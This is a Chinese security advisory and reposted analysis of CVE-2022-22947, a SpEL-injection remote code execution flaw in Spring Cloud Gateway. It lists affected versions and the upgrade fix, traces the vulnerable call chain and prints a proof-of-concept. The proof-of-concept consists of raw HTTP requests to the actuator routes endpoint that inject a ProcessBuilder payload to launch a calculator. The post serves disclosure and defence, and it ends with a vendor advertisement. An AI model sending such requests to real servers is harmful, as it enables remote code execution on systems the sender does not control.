贵州住房和城乡建设厅网站,php怎么网站开发,做网站还有前景吗,赶集招聘网漏洞概要
Spring Cloud Gateway 是Spring Cloud 生态中的API网关#xff0c;包含限流、过滤等API治理功能。 Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时#xff0c;可以通过http请求修改路由#xff…漏洞概要
Spring Cloud Gateway 是Spring Cloud 生态中的API网关包含限流、过滤等API治理功能。 Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时可以通过http请求修改路由路由中包含的恶意filter参数会经过SPEL表达式解析从而导致远程主机执行任意代码。
影响范围 org.springframework.cloud:spring-cloud-gateway-server[3.1.0, 3.1.1) org.springframework.cloud:spring-cloud-gateway-server[2.2.6.RELEASE, 3.0.7)修复方案 将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本 将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本漏洞链接https://www.oscs1024.com/hd/MPS-2022-1077
以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析
0x00 环境搭建
CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析直接去 GitHub 上下载即可。
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.00x01 漏洞分析
首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式 我们回溯一下getValue这个方法发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用 那么就去跟一下哪里调了ShortcutType.DEFAULT发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它 最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析最后进入getValue执行SPEL表达式造成SPEL表达式注入。 继续向上来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters根据这个方法的名字大概也能猜出它的做作用就是添加路由filters 继续重复之前的操作向上回溯会找到这么一条调用链
RouteDefinitionRouteLocator#loadGatewayFilters -
RouteDefinitionRouteLocator#getFilters -
RouteDefinitionRouteLocator#convertToRoute -
RouteDefinitionRouteLocator#getRoutes -
GatewayControllerEndpoint#routes整体流程大致了解了就是添加路由filter然后访问通过getValue触发Spel注入最终完成RCE那么怎么添加路由呢我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save可以看到POST的请求体对应的内容 Filters内容 0x02 构造PoC
首先创建路由filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212{id: test,filters: [{name: AddResponseHeader,args: {name: any,value: #{new ProcessBuilder(\calc\).start()}}}],uri: http://test.com
}发包可以发现payload已经注入进filter了 接下来刷新一下
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性 接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性 造成Spel注入
最终解锁计算器 0x03 参考链接
https://www.cnblogs.com/bitterz/p/15964852.html
https://xz.aliyun.com/t/11004#toc-1
免费情报订阅 代码安全检测
墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司核心团队来自百度、华为、乌云等企业公司为客户提供完整的软件供应链安全管理平台围绕SBOM提供软件全生命周期的安全管理平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。
代码安全检测 https://www.murphysec.com/?sf1vi9zs 情报订阅 https://www.oscs1024.com/cm/?sf1vi9zs 漏洞库https://www.oscs1024.com/hl/?sf1vi9zs